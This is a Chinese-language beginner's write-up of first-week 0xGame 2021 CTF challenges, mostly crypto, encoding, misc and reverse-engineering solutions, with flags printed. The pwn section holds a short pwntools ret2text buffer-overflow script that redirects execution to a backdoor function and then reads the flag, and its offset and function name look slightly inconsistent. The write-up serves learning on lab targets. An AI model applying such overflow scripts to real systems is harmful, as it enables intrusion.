0xGame2021-第一周
首次接触ctf本人菜鸡一个
我太难了
以下是本人第一周做出的题的题解
Crypto ABC Of RSA
由于写本题时还不知道密码学的那个包,于是直接写程序求解
#include <stdio.h>
#include <math.h>
int main()
{
long long int p, q, fain, d=0;
q=1175078221; p=1435756429;
fain=(q-1)*(p-1);
while(1)
{
if(10007*d%fain==1)
{
printf("%d", d);
break;
}
else d++;
}
}
解出结果包上0xGame{}提交
Crypto BlackGiveRSA
hint中网页打开不知道干什么用
看附件
题中代码将flag分为6份每份7个字符,转换成long(记为m)
输出m的e次幂mod n
现在逆过来由输出(密文)求明文flag
把n的值输到网站得出两个质因数p和q
求d使得e*d mod (p-1)×(q-1)为1
from Crypto.Util.number import*
print(inverse(10007,(p-1)*(q-1)))
这样求出d的值
然后将output的密文一个个输进下面代码的c中
from Crypto.Util.number import*
d=1540111621310965943
n=1687126110378632809
c=
print(long_to_bytes(pow(c,d,n)))
将每次得到的结果拼接起来就是flag啦!
提交
Crypto Class8
搜索古典密码集合
找到了盲文密码,猪圈密码,摩斯密码,银河密码和培根密码,那么还剩下重复数字的那几个和cfgb
重复数字的那几个百度一下还是找到了正解,即9键对应键位,有几个重复数字就是第几个字母
还剩一个cfgb,其实一开始已经猜出了是26键键盘中4个字母包围的v
然而一开始太过无知把0x当成Ox导致错误
发现后再尝试发现还是不对,于是去试错
试了老半天还是不对于是找大佬问了问发现是小人密码的脚看错了!!!
低级错误,别跟我一样
提交flag
0xGame{CLASSLNRDDLDVTNB}
Crypto CuteCaesar
下载附件打开懵逼
看一眼hint提示兽语,想起之前碰到与佛论禅,于是搜索找到相应的在线解码
输出格式不是0xgame,联想题目名,用凯撒替换,因格式已知,可以得知位移为3,解码,得到flag
Crypto manycode
下载附件
看到颜文字懵逼,看hint搜CTF常见编码,找到js颜文字相应解码方式(chorm控制台用不来找了个在线解码)
解码出来发现还是乱码4A5645475153435A4B345957595A4A524B4A3347454D4A5A4F5249554F4E4A564C415A453235323249524844533D3D3D
;
看一眼字母没有超过F的,16进制有关,符合Hex编码的密文样式,在线解码
JVEGQSCZK4YWYZJRKJ3GEMJZORIUONJVLAZE2522IRHDS===
三个等号这个我知道找到base32解码
MHhHYW1le1Rvb19tQG55X2MwZDN9
这个就看不太懂了,猜一个base64解码成功得到flag
0xGame{Too_m@ny_c0d3}
提交
Crypto ezVigenère
维吉尼亚密码没有key
百度一下,找到方法试了一遍无事发生改变思路
看到最后一行格式明显0yIang{iovesgsu1pg_Wkgfpesg}
根据yIang分别对应xGame可以发现密钥是bcabc是个循环
那么复制全文,密钥分别尝试bca,cab,abc(具体哪个不记得了)
解码得出flag,提交
Crypto MyFunction
下载附件
看py代码得知我们把flag中逐个字符转为ASCII码(x)并算出x*lnx输出
那么就将结果逆过来(穷举x*lnx值并比对得出ASCII码)
#include<stdio.h>
#include<math.h>
int main() {
int i = 0, j = 0;
double f = 0;
int list[48] = { 0 };
for (j = 0; j < 48; j++) {
scanf_s("%lf", &f);
for (int i = 1; i < 128; i++) {
if (fabs(f - i * log(i)) < 1) {
list[j] = i;
break;
}
}
}
for (j = 0; j < 48; j++) {
printf("%c", list[j]);
}
return 0;
}
即可得到flag
Crypto Sign in
下载附件
打开后阅读到最后找到flag,提交
Misc 翻译稿
把zip文件用winhex打开之后,替换14000900为14000000
打开docx文件,报错?先不管
ctrl+a复制到txt,看到了带===的字符串
base32解码,得到一半flag
为找到另一半flag翻各种wp,直到看到docx后缀改为rar可以直接解压
照做,在文件夹里面找到一个HIddenBy 13.txt
打开一看是字符串带一个}
试了试直接合起来提交发现并不正确
想了想没什么编码是跟13有关系的
那就只能是凯撒位移了,解码,果然是有意义的那多半对了
合并,提交flag
Misc 认真的血
根据hint中的ntfs与题干中的流,找到这么一个软件:
NTFS stream editor
剩下的就简单了,把文件夹扔进去看到有个flag
导出这个txt,上面一行翻译过来是想让我玩杀手吗??
不扯皮了,根据代号47想到rot47加密
那我们在线解个码,得到flag:0xGame{NTFS_B4sic_s7eg}
提交
Misc “简单”的算法题
思路:
对于四级之后(前三级特殊)的台阶,到达该台阶的方法数=
到上级台阶方法数+上上级台阶方法数+上上上级台阶方法数
若该级台阶不可到达,则到该级台阶方法数为0
下面给出代码(c语言辣鸡瑟瑟发抖)
#include <stdio.h>
#include <stdlib.h>
// stair 是当前台阶级数
bool isBroken(int stair, int numberOfBrokenStairs, int *listOfBrokenStairs) {
if (numberOfBrokenStairs == 0) {
return false;
} else {
for (int i = 0; i < numberOfBrokenStairs; i++) {
if (stair == listOfBrokenStairs[i]) {
return true;
}
}
return false;
}
}
int main() {
char c = 0;
int numberOfStairs = 0; // 楼梯级数
int numberOfBrokenStairs = 0; // 破坏楼梯级数
int *listOfBrokenStairs = NULL; // 破坏楼梯级数的数组指针
FILE* fl;
errno_t err = fopen_s(&fl, "testdata\\testdata10.in", "r");
if (!err && fl)
{
// 读取台阶总级数
while ((c = fgetc(fl)) != ' ') {
numberOfStairs = numberOfStairs * 10 + (c - '0');
}
// 读取坏了的台阶的总级数
while ((c = fgetc(fl)) != '\n') {
numberOfBrokenStairs = numberOfBrokenStairs * 10 + (c - '0');
}
// 读取坏了的台阶的级数
if (numberOfBrokenStairs == 0) {
;
} else {
listOfBrokenStairs = (int *)malloc(sizeof(int) * numberOfBrokenStairs);
if (listOfBrokenStairs) {
int tempNumber = 0, s = 0;
while ((c = fgetc(fl)) != EOF) {
if (c >= '0' && c <= '9') {
tempNumber = tempNumber * 10 + (c - '0');
} else {
listOfBrokenStairs[s] = tempNumber;
s++;
tempNumber = 0;
}
}
}
}
long long numberOfWays[4] = { 0 }; // 根据上述思路,在每一级台阶均只需要考虑当前级和前三级。极大程度降低空间复杂度。
// numberOfWays[0] [需要计算得到]当前台阶的到达方法数量
// 1 前1级台阶的到达方法数量
// 2 2
// 3 3
// 第1级台阶的特殊处理
if (!isBroken(1, numberOfBrokenStairs, listOfBrokenStairs)) {
numberOfWays[3] = 1;
} // else numberOfWays[3] = 0, 与初值相同,省略。
// 第2级台阶的特殊处理
if (!isBroken(2, numberOfBrokenStairs, listOfBrokenStairs)) {
numberOfWays[2] = numberOfWays[3] + 1;
} // else numberOfWays[2] = 0, 与初值相同,省略。
// 第3级台阶的特殊处理
if (!isBroken(3, numberOfBrokenStairs, listOfBrokenStairs)) {
numberOfWays[1] = (numberOfWays[3] == 0 ? 0 : numberOfWays[3]) +
(numberOfWays[2] == 0 ? 0 : numberOfWays[2]) + 1;
} // else numberOfWays[1] = 0, 与初值相同,省略。
for (int stair = 3; stair < numberOfStairs; stair++) {
if (!isBroken(stair + 1, numberOfBrokenStairs, listOfBrokenStairs)) {
numberOfWays[0] = (numberOfWays[3] == 0 ? 0 : numberOfWays[3]) +
(numberOfWays[2] == 0 ? 0 : numberOfWays[2]) +
(numberOfWays[1] == 0 ? 0 : numberOfWays[1]);
numberOfWays[0] = numberOfWays[0] % 1435756429;
} else {
numberOfWays[0] = 0;
}
if (stair + 1 == numberOfStairs) {
printf("%d\t%lld\n", stair + 1, numberOfWays[0]);
} else {
if (stair % 10000 == 9999)
printf("%d\t%lld\n", stair + 1, numberOfWays[0]);
for (int i = 3; i > 0; i--) {
numberOfWays[i] = numberOfWays[i - 1];
}
numberOfWays[0] = 0;
}
}
}
return 0;
}
将数据逐个代入进行运算
得到如下结果
result | |
---|---|
1 | 13 |
2 | 98 |
3 | 47 |
4 | 3359124 |
5 | 1205125 |
6 | 834118675 |
7 | 1289432148 |
8 | 1087983205 |
9 | 1176572515 |
10 | 566575482 |
SUM | 4959246432 |
MOD | 651977145 |
把0xGame{}包上提交
Misc 签到
仔细阅读rules之后找到flag提交
Pwn ret2text
这是一道经典的题目,然并卵,该不会还是不会
在网上看了各种wp后还是无法理解,于是在小破站搜到了pwn入门的完整教程(perfect)
下面给出解题过程:
先瞅一眼,嗯64位的程序,拖进ida里F5反编译,找到main函数然后分析一波
大概就是用read函数写进去一串值覆盖掉rbp的地址使之执行backdoor的函数
根据pwndbg分析后得出位移量80字节,于是编写脚本
from pwn import*
io = remote(".......(略)", 10003)
io.recvline()
io.sendline(b'A'*84+b'AAAA'+P64(0x401157))
io.interactive()
运行后获得权限,ls打开根目录,看到flag直接cat出来
Pwn?!
打开虚拟机nc过去
ls到根目录,就可以看到flag文件
cat flag得到flag
RE our Compilation story
看题目代码得知是将flag通过一系列花里胡哨的运算输出了一串数字
a | 113 | 119 | 113 | 65 | 15 | 54 | 32 | 98 | 83 | 91 | 54 | 59 | 104 | 105 | 10 | 88 | 7 | 109 | 7 | 112 | 89 | 126 | 47 | 46 | 77 | 112 | 23 | 125 | 65 | 121 | 26 | 30 | 31 | 104 | 45 | 44 | 21 |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
b | 65 | 15 | 54 | 32 | 98 | 83 | 91 | 54 | 59 | 104 | 105 | 10 | 88 | 7 | 109 | 7 | 112 | 89 | 126 | 47 | 46 | 77 | 112 | 23 | 125 | 65 | 121 | 26 | 30 | 31 | 104 | 45 | 44 | 21 | |||
flag | 0 | x | G | a | m | e | 后面省略了 |
讲讲我是怎么算的:
根据输出的数据列出上面的表格,
for x in range(128):
if ord(chr(a^x))==b:
print(chr(x))
可以得到相应位置的flag的字符
py业务水平过低,只能一个一个来,最后得到flag:
0xGame{Th3_10ng_w4y_w3_901ng_fr33}
RE Signin: User Friendly
下载附件拖到ida里,直接找到flag提交
Web robots
一开始半天不会
翻百度
在环境地址后面加/robots.txt
看到411.html
那就加一个/411.html
发现oh i have tell u all
猜flag藏在这里
检查页面源代码
找到flag
0xGame{Rob0t_le4ks_seCr3t}提交